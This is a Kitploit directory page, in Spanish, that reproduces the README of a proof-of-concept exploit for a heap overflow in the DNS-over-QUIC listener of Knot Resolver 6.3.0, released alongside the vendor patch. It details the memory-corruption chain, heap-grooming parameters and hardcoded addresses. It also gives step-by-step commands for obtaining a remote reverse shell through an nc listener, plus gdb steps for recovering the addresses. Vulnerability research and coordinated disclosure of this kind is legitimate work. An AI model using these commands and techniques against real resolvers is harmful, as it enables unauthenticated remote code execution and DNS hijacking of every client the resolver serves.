Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
knot-doq — CVE-2026-66374: Desbordamiento de heap en Knot Resolver 6.3.0 DNS-over-QUIC (RCE) | Kitploit
Herramientas/GitHubGitHub/venglin/knot-doq
Análisis de VulnerabilidadesExplotaciónSeguridad de RedesHerramienta de Acceso RemotoDesarrollo de PayloadsExplotación de Binarios
GitHubvenglin/knot-doq

knot-doq

CVE-2026-66374: Desbordamiento de heap en Knot Resolver 6.3.0 DNS-over-QUIC (RCE)

Ver Repositorio
6hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Knot Resolver 6.3.0 — desbordamiento de montón en DNS-over-QUIC → RCE (PoC)

Prueba de concepto de un desbordamiento de búfer en el montón (heap) desencadenable remotamente en la ruta de recepción DNS-over-QUIC (DoQ) de Knot Resolver que permite la ejecución remota de código como el usuario de servicio knot-resolver.

  • Componente: listener DoQ de kresd (daemon/quic_conn.c)
  • Afectado: Knot Resolver 6.3.0 (validado en 6.3.0-cznic.1~bookworm)
  • Corregido en: Knot Resolver 6.4.1 (publicado el 2026-07-22)
  • Clase: escritura fuera de límites en el montón (CWE-787)
  • Vector: Red, sin autenticación — una única conexión QUIC
  • Impacto: Ejecución de código como knot-resolver; como mínimo, caída remota / DoS

Publicado junto con el parche y el aviso del proveedor como parte de una divulgación coordinada. Solo para investigación de seguridad autorizada y validación defensiva.

Demo

Explotación remota completa: el exploit se lanza desde la máquina del atacante a través de DNS-over-QUIC y se captura una shell inversa de knot-resolver con nc (haz clic para ver el vídeo a resolución completa):

Remote DNS-over-QUIC RCE against Knot Resolver 6.3.0

Qué es Knot Resolver

Knot Resolver es un resolutor DNS recursivo de caché de código abierto desarrollado por CZ.NIC (el registro .cz). Resuelve consultas DNS en nombre de los clientes (dispositivos de usuario final, flotas de resolutores de ISP y servicios de resolución pública) y almacena en caché las respuestas. Admite transportes cifrados modernos, incluidos DNS-over-TLS (DoT), DNS-over-HTTPS (DoH) y DNS-over-QUIC (DoQ), e incluye validación DNSSEC y caché agresiva.

Es popular en entornos de grandes ISP, donde su amplio conjunto de funciones (política programable, DNSSEC, transportes cifrados, caché de grano fino) y su alto rendimiento lo hacen muy adecuado para atender a bases de suscriptores muy grandes.

El daemon (kresd) es un servicio de red de larga duración directamente expuesto a entradas no confiables de cualquier host que pueda alcanzar su puerto de escucha. Esto convierte un fallo de corrupción de memoria en su ruta de recepción de paquetes —como el explotado aquí— en una superficie de ataque remota y sin autenticación: comprometer el resolutor permite a un atacante falsificar respuestas DNS para todos los clientes aguas abajo, es decir, redirigir o interceptar prácticamente todo su tráfico.

Causa raíz

kr_recv_stream_data_cb() reensambla las tramas STREAM de DoQ en un búfer de entrada por conexión (pers_inbuf). Dicho búfer se hace crecer con

root@kitploit:~
pers_inbuf.size += datalen;      /* bug: accumulates, never re-baselines */

en lugar de establecer el tamaño al nuevo total. A lo largo de varias tramas, el size rastreado se desvía por encima de la asignación real. Por tanto, una trama final cuyo datalen cabe dentro del size inflado omite la reasignación, pero el memcpy() posterior está limitado por ese tamaño inflado, por lo que escribe más allá del final del objeto. jemalloc mantiene el objeto fijado a su clase de tamaño real, de modo que los bytes sobrantes van a parar a la ranura de losa adyacente.

Resumen de la explotación

Una secuencia de seis tramas en un mismo stream lleva pers_inbuf a través de cinco clases de tamaño de jemalloc hasta la clase de 6144 bytes y luego desborda a la ranura vecina:

root@kitploit:~
F1  datalen=8                    initial 1200-byte allocation
F2  datalen=1440   realloc  ->   1536-class
F3  datalen=1440   realloc  ->   3072-class
F4  datalen=1440   realloc  ->   5120-class
F5  datalen=1440   realloc  ->   6144-class
F6  datalen=1200, FIN            no realloc -> 814-byte OOB write into slot+1

Un grooming ligero de conexiones (abrir varias conexiones DoQ y liberar la mitad justo antes de disparar) consigue que slot+1 contenga un manejador de limpieza de libgnutls. El desbordamiento sobrescribe el puntero de despacho de ese manejador, su argumento y el indicador que controla el despacho. Durante el cierre de la conexión, libgnutls ejecuta

root@kitploit:~
call *0x110(%rbx)     ; %rbx = attacker-controlled slot+1

lo que otorga el control del puntero de instrucción (RIP) y del primer argumento (RDI). El PoC dirige esto a system() con un puntero a una cadena de comando proporcionada por el atacante y escrita en la misma ranura.

Alcance: ASLR

Este PoC está dirigido a un host con ASLR deshabilitado (kernel.randomize_va_space = 0). Con la aleatorización desactivada, las direcciones del montón y de libc son deterministas, por lo que las dos direcciones que necesita el exploit (slot+1 y system()) son constantes para una compilación determinada. Derrotar a ASLR es un problema aparte y está deliberadamente fuera de alcance aquí: el objetivo es demostrar la primitiva corrupción de memoria → control de flujo → ejecución de código de forma aislada.

Debido a que esas direcciones son deterministas, no se requiere fuga de información: el exploit se ejecuta íntegramente a través de la red desde un host remoto. Las direcciones se recuperan una sola vez con el paso probe (abajo) en cualquier compilación idéntica y luego se fijan en el código; en la compilación de referencia son slot+1 = 0x7ffff66c5000 y system = 0x7ffff746a490.

Contenido

ArchivoPropósito
poc.pyEl exploit. Modos: probe, rip, exec.
probe.gdbOráculo de gdb que lee el pers_inbuf determinista.
README.mdEste documento.

Requiere Python 3 con aioquic y netcat en el lado del atacante, y gdb en el objetivo solo para el paso único de probe.

Uso — shell inversa remota (sin fuga de información)

Esta es la demostración principal: el exploit se lanza desde la máquina del atacante, a través de la red, con las dos direcciones deterministas fijadas en el código. No se lee nada del objetivo: ni /proc, ni gdb, ni registros.

root@kitploit:~
# On the attacker box: listen for the shell
$ nc -lvnp 4444                    # Linux;  on macOS/BSD:  nc -l 4444

# In another terminal: fire the exploit at the target's DoQ port
$ python3 poc.py exec \
      --host <target> --port 8853 \
      --slot1  0x7ffff66c5000 \
      --system 0x7ffff746a490 \
      --lhost <attacker-ip> --lport 4444 \
      --rounds 250

Cada ronda que acierta llama a system() en el objetivo con un comando de shell inversa; la shell se conecta de vuelta a --lhost:--lport, donde nc la recibe. Cuando llega, escribe en la sesión de netcat para manejar la shell:

root@kitploit:~
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64

Los valores de --slot1 / --system se recuperan una sola vez con el paso probe en cualquier compilación idéntica; son constantes mientras ASLR esté desactivado.

Recuperación de las direcciones (probe de una sola vez)

Los valores de --slot1 / --system indicados arriba son constantes mientras ASLR esté desactivado; recupéralos una sola vez en cualquier compilación idéntica. Requisito previo:

root@kitploit:~
$ sudo sysctl -w kernel.randomize_va_space=0
root@kitploit:~
# slot+1 : gdb oracle reads the deterministic pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800  slot1=0x7ffff66c5000

# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))

poc.py rip --rounds 8 demuestra además el control directo de RIP/RDI (el objetivo se bloquea en el puntero de instrucción elegido por el atacante).

Fiabilidad

Medido en la compilación de referencia (Debian 12, 6.3.0-cznic.1, ASLR desactivado):

PrimitivaTasa
Control de RIP/RDI (rip, caída)~7/8 por ronda
Ejecución completa de system() (exec)~1 de cada 30–50 rondas

La diferencia es inherente: system() se ejecuta sobre un montón que el desbordamiento acaba de corromper, por lo que la mayoría de los despachos bloquean a kresd antes de que se cree el proceso hijo. El daemon es reiniciado por su supervisor tras cada caída, la dirección es determinista con ASLR desactivado y cada intento es independiente, así que el bucle exec simplemente reintenta hasta que uno acierta (en la ejecución remota anterior, la shell llegó en la ronda 5). Un intento fallido es una caída transitoria de un worker (DoS). Los parámetros de grooming --groom 16 --close 8 --qpc 4 son los valores por defecto empíricamente mejores; un cierre más agresivo (p. ej., --close 16 con --groom 32) hace caer la tasa de aciertos.

Entorno de referencia

root@kitploit:~
OS        Debian 12 (bookworm), glibc 2.36
kresd     knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config    DoQ listener on 127.0.0.1@8853

La geometría de las clases de tamaño (seis tramas, cargas útiles de 1200/1440 bytes) y el desplazamiento de despacho de libgnutls son específicos de esta compilación; otras compilaciones requieren volver a derivar los tamaños de trama y los desplazamientos.

Cronología de la divulgación

FechaEvento
2026-06-08Vulnerabilidad reportada al proveedor (CZ.NIC).
2026-07-22Parche publicado en Knot Resolver 6.4.1, con aviso del proveedor.
2026-07-23Este PoC y el análisis publicado.

Divulgación y licencia

Reportado al proveedor el 2026-06-08 y publicado en coordinación con el parche oficial (6.4.1, 2026-07-22). Proporcionado para pruebas autorizadas, validación defensiva e investigación. No lo ejecutes contra sistemas que no poseas o para los que no tengas autorización explícita de prueba.

SPDX-License-Identifier: MIT

Descargar herramienta